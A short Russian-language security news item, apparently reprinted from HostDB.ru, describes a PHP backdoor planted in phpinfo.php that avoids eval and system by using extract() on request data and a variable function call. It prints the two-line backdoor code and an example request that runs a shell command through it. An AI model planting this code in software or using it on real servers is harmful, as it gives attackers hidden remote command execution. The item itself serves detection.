Необычный способ организации вызова PHP-бэкдораВыявлен заслуживающий внимания PHP-бэкдор, активация которого производится без видимого обращения к таким функциям, как "eval", "exec", "system", "assert" и "preg_replace". Вместо явного указания eval и других сразу вызывающих подозрение функций, при установке бэкдора в файле phpinfo.php появляется несколько на первый взгляд неопасных строк: @extract ($_REQUEST); @die ($ctime($atime)); При более вдумчивом просмотре становится ясно, что при помощи функции extract осуществляется создание переменных на основании данных, переданных в составе запроса GET или POST. Конструкция $ctime($atime) по сути является вызовом функции, имя которой хранится в переменной $ctime. Сформировав запрос "/phpinfo.php?ctime=system&atime=ls -la" получим вызов функции system() с аргументом "ls -la".
Распечатано с HostDB.ru.
|